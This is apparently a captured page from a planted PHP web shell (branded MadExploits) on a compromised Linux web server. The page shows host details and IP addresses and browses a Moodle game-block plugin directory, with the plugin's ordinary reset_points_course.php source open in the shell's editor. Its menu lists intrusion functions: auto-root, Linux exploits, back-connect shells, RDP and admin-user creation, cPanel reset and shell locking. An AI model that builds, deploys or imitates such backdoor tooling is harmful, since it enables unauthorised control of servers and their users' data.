Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
game /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.travis.yml
2.65
KB
-rw-r--r--
CHANGES.md
2.24
KB
-rw-r--r--
LICENSE
34.33
KB
-rw-r--r--
README.md
2.98
KB
-rw-r--r--
block_game.php
3.27
KB
-rw-r--r--
download.php
2.21
KB
-rw-r--r--
edit_form.php
9.87
KB
-rw-r--r--
game.php
5.14
KB
-rw-r--r--
help_game.php
8.76
KB
-rw-r--r--
lib.php
44.56
KB
-rw-r--r--
perfil_gamer.php
2.01
KB
-rw-r--r--
rank_game.php
8.85
KB
-rw-r--r--
rank_group_game.php
3.69
KB
-rw-r--r--
reset_points_course.php
3.32
KB
-rw-r--r--
set_avatar_form.php
12.53
KB
-rw-r--r--
settings.php
4.22
KB
-rw-r--r--
version.php
1.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reset_points_course.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Game block config form definition * * @package block_game * @copyright 2019 Jose Wilson * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(dirname(__FILE__) . '/../../config.php'); require_once($CFG->dirroot . '/blocks/game/lib.php'); require_once($CFG->libdir . '/completionlib.php'); require_login(); global $USER, $OUTPUT, $CFG; $confirm = optional_param('c', 0, PARAM_INT); $courseid = required_param('id', PARAM_INT); $course = $DB->get_record('course', array('id' => $courseid), '*', MUST_EXIST); require_login($course); $PAGE->set_pagelayout('course'); $PAGE->set_url('/blocks/game/reset_points_course.php', array('id' => $courseid)); $PAGE->set_context(context_course::instance($courseid)); $PAGE->set_title(get_string('reset_points_title', 'block_game')); $PAGE->set_heading(get_string('reset_points_title', 'block_game')); echo $OUTPUT->header(); $outputhtml = '<div class="boxs">'; if ($courseid != SITEID) { $context = context_course::instance($courseid, MUST_EXIST); if (has_capability('moodle/course:update', $context, $USER->id)) { $outputhtml .= '<div align="center">'; $outputhtml .= '<h3>( ' . get_string('reset_points_title', 'block_game') . ': <strong>' . $course->fullname . '</strong> )</h3><br/>'; $outputhtml .= '<br/><h5>'; if ($confirm > 0) { require_sesskey(); if (block_game_reset_points_game($courseid)) { $outputhtml .= '<strong>' . get_string('reset_points_sucess', 'block_game') . '</strong><br/><br/><a class="btn btn-success" href="' . $CFG->wwwroot . '/course/view.php?id=' . $courseid . '">' . get_string('ok', 'block_game') . '</a>'; } else { $outputhtml .= '<strong>' . get_string('reset_points_error', 'block_game') . '</strong><br/>'; } } else { $outputhtml .= '<strong>' . get_string('label_confirm_reset_points', 'block_game') . '</strong><br/><br/>'; $outputhtml .= '<a class="btn btn-secondary" href="' . $CFG->wwwroot . '/course/view.php?id=' . $courseid . '">' . get_string('no', 'block_game') . '</a>' . ' <a class="btn btn-danger" href="reset_points_course.php?id=' . $courseid . '&c=1&sesskey=' . sesskey() . '">' . get_string('yes', 'block_game') . '</a>' . '<br/>'; } $outputhtml .= '</h5>'; $outputhtml .= '</div>'; } else { $outputhtml .= '<strong>' . get_string('reset_points_not_permission', 'block_game') . '</strong><br/>'; } } $outputhtml .= '</div>'; echo $outputhtml; echo $OUTPUT->footer();
Close